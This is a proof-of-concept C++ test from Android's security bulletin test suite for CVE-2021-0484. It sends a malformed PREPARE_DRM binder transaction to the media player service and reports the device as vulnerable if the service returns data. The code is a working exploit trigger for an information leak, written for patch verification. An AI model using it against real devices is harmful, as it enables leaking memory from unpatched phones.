hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp

/**
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <media/mediaplayer.h>
#include "../includes/common.h"

#define PREPARE_DRM 38

using namespace android;

int main() {
    sp<IServiceManager> serviceManager = defaultServiceManager();
    if (serviceManager == nullptr) {
        return EXIT_FAILURE;
    }

    sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
    if (mediaPlayerService == nullptr) {
        return EXIT_FAILURE;
    }

    sp<IMediaPlayerService> iMediaPlayerService =
        IMediaPlayerService::asInterface(mediaPlayerService);
    if (iMediaPlayerService == nullptr) {
        return EXIT_FAILURE;
    }

    MediaPlayer *mediaPlayer = new MediaPlayer();
    if (mediaPlayer == nullptr) {
        return EXIT_FAILURE;
    }

    sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
    if (iMediaPlayer == nullptr) {
        delete (mediaPlayer);
        return EXIT_FAILURE;
    }

    Parcel data, reply;
    data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
    const uint8_t arr[16] = {};
    data.write(arr, 16);
    data.writeUint32(2);
    data.writeUnpadded(arr, 1);

    IMediaPlayer::asBinder(iMediaPlayer)->transact(PREPARE_DRM, data, &reply);
    uint32_t size = 0;
    reply.readUint32(&size);

    delete (mediaPlayer);
    return (size > 0) ? EXIT_VULNERABLE : EXIT_SUCCESS;
}